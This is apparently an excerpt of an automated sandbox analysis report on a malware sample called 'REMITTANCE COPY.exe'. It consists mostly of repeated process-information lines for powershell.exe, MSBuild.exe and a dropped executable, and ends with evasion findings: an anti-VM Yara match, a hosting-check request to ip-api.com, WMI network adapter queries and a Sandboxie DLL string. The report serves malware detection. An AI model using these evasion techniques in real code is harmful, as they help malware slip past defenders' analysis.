Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: REMITTANCE COPY.exe PID: 5676, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CNqCubHKvlzbGo.exe PID: 5988, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: REMITTANCE COPY.exe, 00000000.00000002.2052332128.0000000003A75000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000008.00000002.2072537987.0000000000402000.00000040.00000400.00020000.00000000.sdmp, CNqCubHKvlzbGo.exe, 00000009.00000002.2096737807.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Memory allocated: 29D0000 memory reserve \| memory write watch	Jump to behavior
